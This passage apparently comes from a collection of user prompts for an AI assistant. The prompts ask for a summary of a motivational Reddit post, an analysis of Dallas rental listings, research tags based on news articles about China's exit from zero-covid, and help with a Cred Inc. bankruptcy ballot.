267-2160\n\nWyoming\nElaina Zempel, Broadband Manager, Wyoming Business Council\nWebsite: https://wyomingbusiness.org/communities/broadband/\nEmail: elaina.zempel@wyo.gov; broadbandoffice@wyo.gov \nPhone: (307) 777-2802" -'summarise the following text into bullet points: Ouch. Sounds like you\'re having a tough time max. That sucks. I\'ve been there, so I kinda know what you\'re talking about. I\'ve been in the ever circling vortex of self doubt, frustration, and loathing. It\'s no bueno. I know. If you don\'t mind lemme tell you a couple things. You can read em if you want, read em again later if you feel like it. But honestly man, if I spend all this time typing this out to you and you don\'t let it be a little tinder for your fire, well, you\'re just letting us both down. And you don\'t HAVE to do that. You don\'t HAVE to do anything. But you get to choose.\n\n(Who am I? My name’s Ryan and I live in Canada. Just moved to a new city for a dream job that I got because of the rules below. I owe a lot of my success to people much cooler, kinder, more loving and greater than me. When I get the chance to maybe let a little bit of help out, it’s a way of thanking them. )\n\nRule numero uno - There are no more zero days. What\'s a zero day? A zero day is when you don\'t do a single fucking thing towards whatever dream or goal or want or whatever that you got going on. No more zeros. I\'m not saying you gotta bust an essay out everyday, that\'s not the point. The point I\'m trying to make is that you have to make yourself, promise yourself, that the new SYSTEM you live in is a NON-ZERO system. Didnt\' do anything all fucking day and it\'s 11:58 PM? Write one sentence. One pushup. Read one page of that chapter. One. Because one is non zero. You feel me? When you\'re in the super vortex of being bummed your pattern of behaviour is keeping the vortex goin, that\'s what you\'re used to. Turning into productivity ultimate master of the universe doesn\'t happen from the vortex. It happens from a massive string of CONSISTENT NON ZEROS. That\'s rule number one. Do not forget.\n\nLa deuxieme regle - yeah i learnt french. its a canadian thing. please excuse the lack of accent graves, but lemme get into rule number 2. BE GRATEFUL TO THE 3 YOU\'S. Uh what? 3 me\'s? That sounds like mumbo jumbo bullshit. News flash, there are three you\'s homeslice. There\'s the past you, the present you, and the future you. If you wanna love someone and have someone love you back, you gotta learn to love yourself, and the 3 you\'s are the key. Be GRATEFUL to the past you for the positive things you\'ve done. And do favours for the future you like you would for your best bro. Feeling like shit today? Stop a second, think of a good decision you made yesterday. Salad and tuna instead of Big Mac? THANK YOU YOUNGER ME. Was yesterday a nonzero day because you wrote 200 words (hey, that\'s all you could muster)? THANK YOU YOUNGER ME. Saved up some coin over time to buy that sweet thing you wanted? THANK YOU. Second part of the 3 me\'s is you gotta do your future self a favour, just like you would for your best fucking friend (no best friend? you do now. You got 2. It\'s future and past you). Tired as hell and can\'t get off reddit/videogames/interwebs? fuck you present self, this one\'s for future me, i\'m gonna rock out p90x Ab Ripper X for 17 minutes. I\'m doing this one for future me. Alarm clock goes off and bed is too comfy? fuck you present self, this one\'s for my best friend, the future me. I\'m up and going for a 5 km run (or 25 meter run, it\'s gotta be non zero). MAKE SURE YOU THANK YOUR OLD SELF for rocking out at the end of every.single.thing. that makes your life better. The cycle of doing something for someone else (future you) and thanking someone for the good in your life (past you) is key to building gratitude and productivity. Do not doubt me. Over time you should spread the gratitude to others who help you on your path.\n\nRule number 3- don\'t worry i\'m gonna too long didnt\' read this bad boy at the bottom (get a pencil and piece of paper to write it down. seriously. you physically need to scratch marks on paper) FORGIVE YOURSELF. I mean it. Maybe you got all the know-how, money, ability, strength and talent to do whatever is you wanna do. But lets say you still didn\'t do it. Now you\'re giving yourself shit for not doing what you need to, to be who you want to. Heads up champion, being dissapointed in yourself causes you to be less productive. Tried your best to have a nonzero day yesterday and it failed? so what. I forgive you previous self. I forgive you. But today? Today is a nonzero masterpiece to the best of my ability for future self. This one\'s for you future homes. Forgiveness man, use it. I forgive you. Say it out loud.\n\nLast rule. Rule number 4, is the easiest and its three words. exercise and books. that\'s it. Pretty standard advice but when you exercise daily you actually get smarter. when you exercise you get high from endorphins (thanks body). when you exercise you clear your mind. when you exercise you are doing your future self a huge favour. Exercise is a leg on a three legged stool. Feel me? As for books, almost every fucking thing we\'ve all ever thought of, or felt, or gone through, or wanted, or wanted to know how to do, or whatever, has been figured out by someone else. Get some books max. Post to reddit about not caring about yourself? Good first step! (nonzero day, thanks younger me for typing it out) You know what else you could do? Read 7 habits of highly successful people. Read "emotional intelligence". Read "From good to great". Read “thinking fast and slow”. Read books that will help you understand. Read the bodyweight fitness reddit and incorporate it into your workouts. (how\'s them pullups coming?) Reading is the fucking warp whistle from Super Mario 3. It gets you to the next level that much faster.\n\nThat’s about it man. There’s so much more when it comes to how to turn nonzero days into hugely nonzero days, but that’s not your mission right now. Your mission is nonzero and forgiveness and favours. You got 36 essays due in 24 minutes and its impossible to pull off? Your past self let you down big time, but hey… I forgive you. Do as much as you can in those 24 minutes and then move on.\n\nI hope I helped a little bit max. I could write about this forever, but I promised myself I would go do a 15 minute run while listening to A. Skillz Beats Working Vol. 3. Gotta jet. One last piece of advice though. Regardless of whether or not reading this for the first time helps make your day better, if you wake up tomorrow, and you can’t remember the 4 rules I just laid out, please, please. Read this again.\n\nHave an awesome fucking day ☺\n\ntldr; 1. Nonzero days as much as you can. 2. The three you’s, gratitude and favours. 3. Forgiveness 4. Exercise and books (which is a sneaky way of saying self improvement, both physical, emotional and mental)\n\nEdit: Wow reddit gold? Thanks! No idea what to do with it or whats the deal but many thanks!\n\nEdit2: Someone asked what I meant by "much more when it comes to how to turn nonzero days into hugely nonzero days". The long and short of it is a simple truth, but it\'s tough to TOTALLY UNDERSTAND AND PRACTICE. It\'s this: you become what you think. This doesnt mean if I think of a tree, I\'ll be oakin\' it by august. It means that the WAY you think, the THINGS you think of, and the IDEAS YOU HOLD IN YOUR MIND defines the sum total that is you. You procrastinate all the time and got fear and worry goin on for something? You are becoming a procrastinator. You keep thinking about how much you want to run that 5 k race in the spring and finish a champion? Are ya keeping it in mind all the time? Is it something that is defining your ACTIONS and influencing you DECISIONS? If it is, then you\'re becoming the champion you\'re dreaming about. Dreaming about it makes it. Think and it shall be. But do not forget that action is thought\'s son. Thoughts without actions are nothing. Have faith in whatever it is you\'ve steeled your mind to. Have faith and follow through with action.\n\nOk, Ryan that\'s a bunch of nice words n shit, but how does that help me turn slightly nonzero days into hugely nonzero days. Do you believe all these words you just read? Does it makes sense to you that you BECOME WHAT YOU THINK OF? Ask yourself: What do I think of? When you get home and walk in the door. (how quickly did you turn that laptop on? Did turning it on make you closer to your dreams? What would?) At the bus stop. Lunch break. What direction are you focusing your intentions on? If you\'re like I was a few years ago, the answer was either No direction, or whatever caught my eye at the moment. But no stress, forgive yourself. You know the truth now. And knowing the truth means you can watch your habits, read books on how you think and act, and finally start changing your behaviour. Heres an example: Feeling like bunk cause you had zero days or barely nonzero days? THINK ABOUT WHAT YOURE DOING. and change just a little bit more. in whatever positive direction you are choosing to go.' -'go through the following listing data and pick out the best listings with an explanation as to why they are likely to be successful. \n\nuse the following format in the output:\n\nListing Name:\nListing Location:\nListing Amenity List:\nListing Property Type:\nLikely Reason for Success:\nLikely Price of the Property to Purchase Versus Lease\n\nThis is the data:\n\n20730674;The Hidden Cliff, Elegant Suite-NO cleaning fee;6601665;Linda;;District 1;32.76582;-96.82539;Private room;112;3;22;44864;0.33;3;137;2\n20848408;French Chic - Parking- HP/Uptown/Design D/Oak Lawn;1509921;Robert;;District 14;32.81986;-96.80561;Entire home/apt;75;2;133;44971;2.02;8;82;17\n19160523;Charming Home in the Heart of Uptown Dallas;126765832;Tram;;District 14;32.79759;-96.79724;Entire home/apt;341;2;163;44969;2.41;3;72;14\n20848529;Central Ctr-Parking-Design D./Uptown/HP/Katy Tr;1509921;Robert;;District 14;32.81979;-96.8057;Entire home/apt;72;2;158;44964;2.4;8;83;30\n19183767;11655;134182247;Ash;;District 10;32.90875;-96.71922;Private room;38;3;1;44217;0.04;1;65;0\n20848617;Two (1BR/BA) apts, top floor, sleep 6, parking;1509921;Robert;;District 14;32.8195;-96.80535;Entire home/apt;183;2;6;43351;0.09;8;82;0\n19225872;Peach room with attached bathroom;128942364;Joseph;;District 12;32.99785;-96.84008;Private room;59;1;44;44850;0.65;3;175;6\n20887054;Charming & Quaint Private Poolside Suite;28950374;Webb;;District 12;32.97444;-96.78232;Private room;50;1;6;44486;0.12;1;88;0\n20905329;Paradise five star. ready. See below;15751176;Avi;;District 13;32.87612;-96.75971;Entire home/apt;250;180;26;44566;0.41;5;365;0\n19363274;Charming Dallas Gem near SMU, Mockingbird Station;14879587;Jaxsie;;District 14;32.83467;-96.75692;Entire home/apt;89;1;404;44962;5.94;11;59;80\n19440550;★15% Monthly Discount★ 2BR PRIVATE REFUGE;14899691;John;;District 14;32.83526;-96.75675;Entire home/apt;81;2;155;44955;2.27;5;47;20\n19440831;★15% Monthly Discount★1BR PRIVATE REFUGE W/ BACKYD;14899691;John;;District 14;32.83526;-96.75675;Entire home/apt;69;2;84;44956;1.25;5;46;24\n20916267;Uptown - Cozy 1 bd #3 Free Fast WiFi Parking Cable;6063232;Joan;;District 14;32.818493;-96.789749;Entire home/apt;111;3;23;44871;0.35;11;355;3\n20943952;Great Location and Quiet one Bedroom Condominium;40014595;Carlos;;District 13;32.9084;-96.87497;Entire home/apt;72;20;18;44905;0.27;2;8;3\n21029670;(March45%OFF)Best&Coziest place in OakLawn/Uptown;2870800;Erme;;District 14;32.81478;-96.80607;Private room;95;3;25;44469;0.39;3;279;0\n19447899;Oak Lawn House by Uptown + Private Backyard;78199259;Minh;;District 14;32.81378;-96.80964;Entire home/apt;115;2;33;44970;0.49;4;238;28\n19471389;Cottage in the City;43042344;Heath;;District 2;32.82075;-96.82967;Entire home/apt;90;2;168;44890;2.45;151;365;7\n21038506;Beautiful Knox Apartment w/ Pool, Gym and Parking!;74791686;Your Stay Mgmt;;District 14;32.82572;-96.78431;Entire home/apt;94;2;231;44930;3.54;3;40;25\n"19474561;Cool Casa Linda by White Rock Lake!\nor Cool CL!;16107819;Annette & Craig;;District 9;32.83169;-96.70555;Entire home/apt;105;2;168;44956;2.46;1;328;33"\n19490194;Charming City Carriage House- Deep Ellum; Downtown;132800378;Chelsea;;District 7;32.76733;-96.77312;Entire home/apt;219;1;218;44957;3.19;2;75;3\n19506283;â\xad\x90ï¸\x8fâ\xad\x90ï¸\x8fThe heart of Dallas Uptown/Downtown â\xad\x90ï¸\x8fâ\xad\x90ï¸\x8f;108514926;Dalls;;District 14;32.80181;-96.79129;Entire home/apt;150;5;5;43690;0.07;250;1;0\n21050718;MIDTOWN TOWNHOUSE;151321467;Monique;;District 11;32.94451;-96.81484;Entire home/apt;98;180;19;43577;0.29;1;0;0\n21057649;Exquisite view, cozy feel, heart of downtown.;151705285;Craig;;District 14;32.78231;-96.79997;Entire home/apt;110;2;16;44966;0.34;1;15;9\n21749543;Charming Craftsman Home in Lower Greenville;158448001;Sammie;;District 14;32.82567;-96.76871;Entire home/apt;225;2;165;44934;2.6;1;206;30\n21749677;Cute Bungalow in Heart of City;43042344;Heath;;District 2;32.84692;-96.82898;Entire home/apt;87;5;148;44948;2.33;151;358;27\n21088291;Cool Studio Apartment near White Rock Lake;127689710;Tim;;District 10;32.86682;-96.69175;Entire home/apt;85;1;66;44591;1.75;1;117;0\n21755757;â\xad\x90ï¸\x8fAmazing Heart of VICTORY PARK Downtown â\xad\x90ï¸\x8f;108514926;Dalls;;District 2;32.79248;-96.80853;Entire home/apt;120;19;4;43142;0.06;250;55;0\n21757100;â\xad\x90ï¸\x8f West Village Uptown NEW & AMAZING Price â\xad\x90ï¸\x8f;108514926;Dalls;;District 14;32.81482;-96.79146;Entire home/apt;120;7;6;44343;0.09;250;106;0\n21095352;Gorgeous Apartment with Pool, Parking and Gym!;74791686;Your Stay Mgmt;;District 14;32.82411;-96.78613;Entire home/apt;92;2;175;44951;2.68;3;45;27\n21771198;💎 Modern â\xad\x90ï¸\x8f Central Dallas ✅ 10min to Dntwn/ Fair Park 💎;48903804;Scott;;District 7;32.776394;-96.739395;Entire home/apt;203;2;126;44951;2.02;1;46;23\n21112646;Private Home for Groups with Pool!;43042344;Heath;;District 1;32.75101;-96.84046;Entire home/apt;191;2;145;44921;2.22;151;260;14\n21790601;★★★Uptown Dallas Luxury Studio KING size bed ★★★;108514926;Dalls;;District 14;32.80005;-96.80604;Entire home/apt;120;2;4;43233;0.06;250;10;0\n21121539;Uptown West Village Beautiful Amazing Location;112593570;Max;;District 14;32.8101;-96.797;Entire home/apt;110;7;1;43427;0.02;74;52;0\n21123786;The Monticello Guest House - M Streets, Dallas;152362711;Becky;;District 14;32.82729;-96.77908;Entire home/apt;82;2;183;44954;2.8;1;307;29\n21792564;Spacious & Walkable 2BD 2BA Uptown / West Village;108514926;Dalls;;District 14;32.80468;-96.79849;Entire home/apt;185;28;2;43181;0.03;250;365;0\n21797129;â\xad\x90ï¸\x8fâ\xad\x90ï¸\x8fA Premier Location Heart of Victory Parkâ\xad\x90ï¸\x8fâ\xad\x90ï¸\x8f;108514926;Dalls;;District 2;32.79248;-96.80853;Entire home/apt;120;30;5;43563;0.08;250;55;0\n21139822;SPACIOUS, 4/2.5 \\*Family Home Sleeps 10 With 2900 SQ FT-4/2.5 QUIET CUL DE SAC;35342054;Deborah;;District 9;32.83356;-96.73608;Entire home/apt;236;3;66;44909;1.03;5;134;11\n21804987;â\xad\x90ï¸\x8f KING BED | FREE PARKING | GYM | POOLâ\xad\x90ï¸\x8f;108514926;Dalls;;District 14;32.81482;-96.79146;Entire home/apt;107;70;0;;;250;351;0\n21176569;Modern Luxury with Parking, Pool and Gym!;74791686;Your Stay Mgmt;;District 14;32.82434;-96.78641;Entire home/apt;97;2;132;44900;2.04;3;16;21\n21805613;â\xad\x90ï¸\x8fâ\xad\x90ï¸\x8f AMAZING PRICE West-Village Walk Anywhere â\xad\x90ï¸\x8fâ\xad\x90ï¸\x8f;108514926;Dalls;;District 14;32.80952;-96.7961;Entire home/apt;120;28;3;43702;0.05;250;0;0\n21805646;â\xad\x90ï¸\x8fâ\xad\x90ï¸\x8f AMAZING PRICE West-Village Walk Anywhere â\xad\x90ï¸\x8fâ\xad\x90ï¸\x8f;108514926;Dalls;;District 14;32.80952;-96.7961;Entire home/apt;113;12;4;44655;0.07;250;220;1\n21805704;â\xad\x90ï¸\x8fWest Village Uptown NEW and AMAZING PRICE â\xad\x90ï¸\x8f;108514926;Dalls;;District 14;32.80952;-96.7961;Entire home/apt;120;20;2;44461;0.08;250;6;0\n21189192;The Local | Lower-Greenville | Arboretum Tickets;10901678;Vera;;District 14;32.81651;-96.76914;Entire home/apt;75;1;377;44966;5.79;23;329;49\n21199299;Dallas - new, modern and contemporary home;121600765;Elaine;;District 6;32.7817701439552;-96.844170615077;Entire home/apt;300;2;8;44955;1.85;1;347;8\n21806352;â\xad\x90ï¸\x8fWest Village Uptown NEW and AMAZING PRICE â\xad\x90ï¸\x8f;108514926;Dalls;;District 14;32.80952;-96.7961;Entire home/apt;120;70;1;44012;0.03;250;0;0\n21806397;â\xad\x90ï¸\x8fâ\xad\x90ï¸\x8f AMAZING PRICE West-Village Walk Anywhere â\xad\x90ï¸\x8fâ\xad\x90ï¸\x8f;108514926;Dalls;;District 14;32.80952;-96.7961;Entire home/apt;120;28;2;44343;0.03;250;0;0\n21200523;Guest-house Near White Rock Lake;116880529;Nelly;;District 9;32.85247;-96.68628;Entire home/apt;98;2;81;44928;1.24;1;56;13\n21806439;â\xad\x90ï¸\x8fâ\xad\x90ï¸\x8f AMAZING PRICE West-Village Walk Anywhere â\xad\x90ï¸\x8fâ\xad\x90ï¸\x8f;108514926;Dalls;;District 14;32.80952;-96.7961;Entire home/apt;200;4;3;43700;0.06;250;220;0\n21806484;One of Uptown\'s most desirable location;108514926;Dalls;;District 14;32.80952;-96.7961;Entire home/apt;120;28;4;44797;0.09;250;6;2\n21806540;â\xad\x90ï¸\x8fâ\xad\x90ï¸\x8fAMAZING PRICE West-Village Walk Anywhere â\xad\x90ï¸\x8fâ\xad\x90ï¸\x8f;108514926;Dalls;;District 14;32.80952;-96.7961;Entire home/apt;155;5;3;44199;0.06;250;220;0' -'Assuming that I am keeping the sentences that I find interesting in a note app, please provide me with tags that I could use in my note-taking app and please provide me with a short description of what I am researching. Also, please let me know the three most relevant topics that I should research next. For each of the three topics can you please provide me with materials (3 URLs) I should read next?\n \nArticle:\n\n "What China can still do to avoid an enormous covid death toll\n\n It must treat hospitals as a precious resource and start stockpiling drugs\n\n People wearing face masks walk in a subway station, as coronavirus disease (COVID-19) outbreaks continue in Shanghai, China, December 8, 2022.\n\n Testing stations are being removed from city streets. The enforcers of “zero-covid” are nowhere to be found. In China’s battle against covid-19, the state has disappeared from the front lines. For nearly three years President Xi Jinping tried to contain the virus, calling his efforts a “people’s war”. Now he has surrendered and the people must live with the enemy.\n\n Listen to this story. Enjoy more audio and podcasts on iOS or Android.\n\n Mr Xi is not the first leader to conclude that such a fight was unwinnable. But before ditching their zero-covid policies, other countries first took pains to administer vaccines, stockpile antiviral drugs and draw up treatment guidelines. China had ample time to do all of that. Yet more than two years after the first vaccine proved effective, the country remains ill-prepared. That has made opening up much more dangerous than it ought to be.\n\n How dangerous? In this week’s China section we publish our model of how the epidemic might play out. It comes with essential caveats. Modelling an epidemic is difficult. Modelling one in China, where the data are often unreliable, is even harder. We take into account variables such as vaccination rates, the effectiveness of Chinese jabs, the lethality of covid for different age groups and the number of intensive-care beds. In a worst case, if covid spreads freely and many people cannot get care, we estimate that in the coming months 1.5m Chinese people will die from the virus.\n\n Although that is a lower share of the population than in many rich countries, it is still a criticism of the government’s poor preparations. It is also a call to action. A vaccination drive will take months. The government has waited too long to build and staff new icus. But even if the state will not impose lockdowns while it prepares, it can mitigate the number of deaths.\n\n It should start by protecting the health system. A wave of covid is breaking over China. Our model sees this peaking in January. By that time hospitals risk being overwhelmed. Beds and staff are a precious resource to be husbanded. That means keeping people who are not seriously ill away from hospitals. To that end, the state could help drug companies restock pharmacies that run out of such things as lateral-flow tests and paracetamol. Medical staff should be vaccinated first and they must be given the proper gear to minimise the risk of infection.\n\n A second step is to ensure cheap and plentiful supplies of covid drugs. Dexamethasone, a low-priced steroid, has been shown to reduce deaths among the most severely ill patients. Antivirals, such as Paxlovid, help keep those most at risk out of hospital. These drugs have become part of the toolkit doctors around the world are using to fight the virus. They could save many thousands of lives in China. Only the government knows if it has enough of them to go around. If not, it should start stocking up. Foreign governments would surely send supplies if China asked. President Xi Jinping should not let his pride imperil China’s people, as he has done by shunning more efficacious Western vaccines.\n\n China’s vaccines still work. So the third priority is to get them into people’s arms. It may be too late for many in this wave, but there will be others. Less than half of those over 80 years old have had three shots, the number needed for decent protection against severe disease and death. Yet some of the elderly have gone to the clinic for a jab only to be turned away for lack of supplies. Until recently, some vaccine factories were sitting idle. Vast quantities will be needed. Six-monthly booster shots ought to become a normal part of life for older Chinese.\n\n As the state has failed to do its job, people are helping themselves. Masks are ubiquitous in many cities and more people are working from home. Restaurants and cinemas may be open, but in cities such as Beijing they remain largely empty. All this will help slow the growth of this covid wave and ease the pressure on hospitals. But the government must also act. In a country the size of China, even small steps could save many lives." \n From the article above, I find the following sentences most interesting:\n 1. "President Xi Jinping tried to contain the virus, calling his efforts a “people’s war”"\n 2. "A wave of covid is breaking over China. Our model sees this peaking in January."\n 3. "we estimate that in the coming months 1.5m Chinese people will die from the virus"\n 4. "To that end, the state could help drug companies restock pharmacies that run out of such things as lateral-flow tests and paracetamol"\n 5. "A second step is to ensure cheap and plentiful supplies of covid drugs. Dexamethasone, a low-priced steroid, has been shown to reduce deaths among the most severely ill patients."\n 6. "China’s vaccines still work. So the third priority is to get them into people’s arms."\n\n \nArticle:\n\n "How Chinese people are dealing with the spread of covid-19\n\n The government has left the public to fend for itself\n\n A elderly man wearing a face mask and goggle walks on a street in Beijing, Sunday, Dec. 11, 2022. Facing a surge in COVID-19 cases, China is setting up more intensive care facilities and trying to strengthen hospitals as Beijing rolls back anti-virus controls that confined millions of people to their homes, crushed economic growth and set off protests.\n\n Just a few months ago Chinese people had little fear of catching covid-19. The government’s “zero-covid” measures kept them safe for the most part. Mass testing and strict lockdowns contained the virus. If a person did test positive, the government would swoop in. The infected were taken to state-run quarantine centres. If symptomatic, they were treated in a designated hospital. Health workers would douse their house with disinfectant and test their neighbours.\n\n All this changed on December 7th, when the central government largely ditched its zero-covid policy, lifting most restrictions. Six days later it scrapped an app that tracked people’s movements. The highly transmissible Omicron variant had made zero-covid unsustainable.\n\n Now the public is expected to fend for itself. “Be the first person responsible for your own health,” wrote the People’s Daily, a Communist Party mouthpiece. Some residents of Beijing have received letters from the local committees that used to enforce covid controls. Stop reporting fevers and coughs to us, one read, before wishing people good luck. “Thank you for the past three years of support and understanding.”\n\n The official number of new cases is falling, as if the virus were fading away. But official numbers are no longer reliable because the government has scaled back testing. If it has an alternative way of keeping tabs on the epidemic, it is not sharing it.\n\n Still, it is pretty clear that a covid wave is building, as people share stories of infection online. An informal survey has been circulating on social media asking Beijing residents if they have caught the virus. As The Economist went to press, 39% of the 434,000 or so respondents had said yes.\n\n Such surveys are striking, not just for the numbers. A few months ago people who had caught covid were stigmatised. They might, for example, struggle to find jobs after recovering. Now the disease is so common that people are posting their test results on social media, often substituting for the word “positive” a cartoon of a sheep (which is a Chinese homophone for positive). Others are sharing lighthearted advice about the best time to catch covid. An infection now or in early January, for example, might clear up in time for a person to enjoy both Christmas and the lunar new year. “Why aren’t I positive yet?” complained one young woman in a video.\n\n Others, though, are worried. Until recently the government told people that covid was to be feared. Now the official line is that Omicron is no worse than the flu. Infected people who are not showing serious symptoms have been encouraged to stay at home and treat themselves. Not everyone is listening. Beijing’s emergency-call operators have been swamped by over 30,000 calls a day, about six times the average. Queues have appeared outside fever clinics in several cities. Certain medicines are in short supply. On December 13th a health-care website began selling Paxlovid, a highly effective antiviral drug used to treat covid. Its initial stocks sold out in half an hour.\n\n Hospitals are under more stress as doctors and nurses catch the virus. There are reports that some medical workers who have tested positive have been asked to come in anyway, risking more transmission within hospitals. As of December 13th Beijing had 50 severely ill patients, according to the official numbers. So far, the health system does not appear to be overwhelmed. But the peak of this wave is still some way off. It will probably come in late January, at least in Beijing, says Ben Cowling, a professor of epidemiology at the University of Hong Kong.\n\n With the government changing its message, people are looking elsewhere for guidance. Overseas Chinese students who have experience with covid are sharing advice on WeChat, a social-media app. They tell people what symptoms to expect and how long they might last. In general, though, good information on the virus is lacking. There are reports of people going to hospital after taking too much fever medicine. Herbal remedies used to combat covid are in hot demand, though doctors doubt their effectiveness.\n\n Vaccines, not voodoo\n\n At least people now see the need to protect themselves against the virus, which was once viewed as a terrifying but distant threat. More are getting vaccinated. The number of jabs administered each day has increased from fewer than 200,000 to over 1m. But there is a lot of ground to make up, especially when it comes to the most vulnerable. Only around 40% of people over 80 have received the three doses needed to significantly reduce the chances of severe disease or death. Yet some elderly people have had trouble getting a shot because of a lack of supply at clinics.\n\n People are also taking steps that will help mitigate the spread of the disease and perhaps reduce the pressure on hospitals. In Beijing the shopping centres and streets are largely empty, as people stay inside. Call it a self-imposed lockdown. People who do venture out wear n95 masks (which are good at filtering small airborne particles). Demand for home deliveries of meals and groceries has shot up.\n\n But people are still making plans to travel back to their villages and home towns for the lunar new year in late January. Data from Ctrip, a booking platform, show that the volume of searches for flights has increased by 160% since the government loosened restrictions. Searches for train tickets on Baidu, a search engine, increased by nearly 600% during that time. Many rural areas are woefully unprepared to handle a surge in cases.\n\n When the peak of this wave approaches, “it would make a lot of sense to bring back some public-health measures,” says Mr Cowling. But reversing course may be hard for the government to justify without admitting that it had made a mistake."\n\n \nFrom the article above, I find the following sentences most interesting:\n 1. "lifting most restrictions. Six days later it scrapped an app that tracked people’s movements"\n 2. "Now the public is expected to fend for itself. “Be the first person responsible for your own health,” wrote the People’s Daily"\n 3. "But official numbers are no longer reliable because the government has scaled back testing"\n 4. "A few months ago people who had caught covid were stigmatised. They might, for example, struggle to find jobs after recovering."\n 5. "Beijing’s emergency-call operators have been swamped by over 30,000"\n\n \nArticle:\n\n "China pushes vaccines as retreat from \'zero-COVID\' turns messy.\n\n Beijing urges inoculations for elderly\n\n WHO calls for vaccine drive as virus spreads\n\n Economic summit starts amid more dire data\n\n BEIJING/SHANGHAI, Dec 15 (Reuters) - China raced to vaccinate its most vulnerable people on Thursday in anticipation of waves of COVID-19 infections, with some analysts expecting the death toll to soar after it eased strict controls that had kept the pandemic at bay for three years.\n\n The push comes as the World Health Organisation also raised concerns that China\'s 1.4 billion population was not adequately vaccinated and the United States offered help in dealing with a surge in infections.\n\n Beijing last Wednesday began dismantling its tough \'zero-COVID\' controls, dropping testing requirements and easing quarantine rules that had caused anxiety for tens of millions and battered the world\'s second largest economy.\n\n The pivot away from President Xi Jinping\'s signature "zero-COVID" policy followed unprecedented widespread protests against it. But, WHO emergencies director Mike Ryan said infections were exploding in China well before the government\'s decision to phase out its stringent regime.\n\n "There\'s a narrative at the moment that China lifted the restrictions and all of a sudden the disease is out of control," Ryan told a briefing in Geneva.\n\n "The disease was spreading intensively because I believe the control measures in themselves were not stopping the disease."\n\n Chinese foreign ministry spokesperson Wang Wenbin said on Thursday China has "institutional advantages" to fight COVID.\n\n "We will certainly be able to smoothly get through the peak of the epidemic," he told a regular news briefing in response to White House national security spokesperson John Kirby saying that the United States was ready to help if China requested it.\n\n There are increasing signs of chaos during China\'s change of tack - including long queues outside fever clinics, runs on medicines and panic buying across the country.\n\n On Thursday night, China\'s state asset regulator urged state-backed big drugmakers to ensure supplies of COVID-related medicines.\n\n The companies include China Resources, China General Technology and Sinopharm, which own businesses that produce drugs that could ease coronavirus symptoms.\n\n One video posted online on Wednesday showed several people in thick winter clothes hooked up to intravenous drips as they sat on stools on the street outside a clinic in central Hubei province. Reuters verified the location of the video.\n\n The COVID scare in China also led people in Hong Kong, Macau and in some neighbourhoods in Australia to go in search for fever medicines and test kits for family and friends on the mainland.\n\n For all its efforts to quell the virus since it erupted in the central city of Wuhan in late 2019, China may now pay a price for shielding a population that lacks "herd immunity" and has low vaccination rates among the elderly, analysts said.\n\n "Authorities have let cases in Beijing and other cities spread to the point where resuming restrictions, testing and tracing would be largely ineffective in bringing outbreaks under control," analysts at Eurasia Group said in a note on Thursday.\n\n "Upward of 1 million people could die from COVID in the coming months."\n\n Other experts have put the potential toll at more than 2 million. China has reported just 5,235 COVID-related deaths so far, extremely low by global standards.\n\n China\'s stock markets and its currency fell on Thursday on concerns of the virus spread.\n\n China reported 2,000 new symptomatic COVID-19 infections for Dec. 14 compared with 2,291 a day. The official figures, however, have become less reliable as testing has dropped. It also stopped reporting asymptomatic figures on Wednesday.\n\n CONCERN FOR ELDERLY\n\n China, which has said around 90% of its population is vaccinated against COVID, has now decided to roll out the second booster shot for high-risk groups and elderly people over 60 years of age.\n\n National Health Commission spokesperson Mi Feng said on Wednesday it was necessary to accelerate the promotion of vaccinations, according to comments reported by state media.\n\n The latest official data shows China administered 1.43 million COVID shots on Tuesday, well above rates in November of around 100,000-200,000 doses a day. In total, it has administered 3.45 billion shots.\n\n Vaccinations in China have been ramping up in recent days. The latest official data shows it administered 1.43 million shots on Tuesday, well above rates in November of around 100,000 - 200,000 doses a day.\n\n Vaccinations in China have been ramping up in recent days. The latest official data shows it administered 1.43 million shots on Tuesday, well above rates in November of around 100,000 - 200,000 doses a day.\n\n But one Shanghai care home said on Wednesday a number of its residents have not yet been vaccinated and considering their underlying medical condition, it has barred visitors and non-essential deliveries while stockpiling medicines, tests kits and protective gear.\n\n "We are racking our brains on how to ensure the safety of your grandparents," the Yuepu Tianyi Nursing Home wrote in a letter posted on its official WeChat account page.\n\n Beijing has been largely resistant to western vaccines and treatments, having relied on locally-made shots. Pfizer\'s (PFE.N) oral COVID-19 treatment Paxlovid is one of the few foreign ones it has approved.\n\n The treatment, however, has only been available in hospitals for high-risk patients, but signs have appeared in recent days that it may soon be made more widely available.\n\n China Meheco Group Co Ltd\'s stock jumped (600056.SS) after it announced a deal to import the U.S. drugmaker\'s treatment on Wednesday.\n\n ECONOMIC CONFERENCE\n\n As the virus spreads, President Xi, his ruling Politburo and senior government officials began a two-day meeting to plot a recovery for China\'s battered economy, according to sources with knowledge of the matter.\n\n China\'s economy lost more steam in November as factory output growth slowed and retail sales extended declines, both missing forecasts and clocking their worst readings since May, data on Thursday showed.\n\n Economists estimate that China\'s growth has slowed to around 3% this year, marking one of China\'s worst performances in almost half a century."\n\n \nFrom the article above, I find the following sentences most interesting:\n 1. "Upward of 1 million people could die from COVID in the coming months."\n 2. "Other experts have put the potential toll at more than 2 million."\n 3. "China administered 1.43 million COVID shots on Tuesday, well above rates in November of around 100,000-200,000 doses a day. In total, it has administered 3.45 billion shots."' -'Heres the ballot 4 details "IN THE UNITED STATES BANKRUPTCY COURT\nFOR THE DISTRICT OF DELAWARE\n)\nIn re: ) Chapter 11\n)\nCRED INC., et al., ) Case No. 20-12836 (JTD)\n)\nDebtors.1 )\n)\n(Jointly Administered)\n)\nBALLOT FOR ACCEPTING OR REJECTING JOINT PLAN OF LIQUIDATION OF CRED INC. AND\nITS SUBSIDIARIES UNDER CHAPTER 11 OF THE BANKRUPTCY CODE\nCLASS 4: GENERAL UNSECURED CLAIMS\nTHE VOTING DEADLINE TO ACCEPT OR REJECT THE PLAN IS\nMARCH 1, 2021 AT 4:00 P.M. (PREVAILING EASTERN TIME).\nCred Inc. and its affiliated debtors, as debtors in possession (collectively, the “Debtors”) are soliciting votes\nwith respect to the First Amended Combined Joint Plan of Liquidation and Disclosure Statement of Cred Inc. and its\nSubsidiaries Under Chapter 11 of the Bankruptcy Code (with respect to its component parts, as modified, amended,\nor supplemented from time to time, the “Plan” and the “Disclosure Statement”, or, collectively the “Combined Joint\nPlan and Disclosure Statement”). Capitalized terms used in this Ballot and the attached instructions that are not\notherwise defined have the meanings given to them in the Combined Joint Plan and Disclosure Statement.\nIf you, as of January 14, 2021 (the “Voting Record Date”), hold a Class 4 General Unsecured Claim, 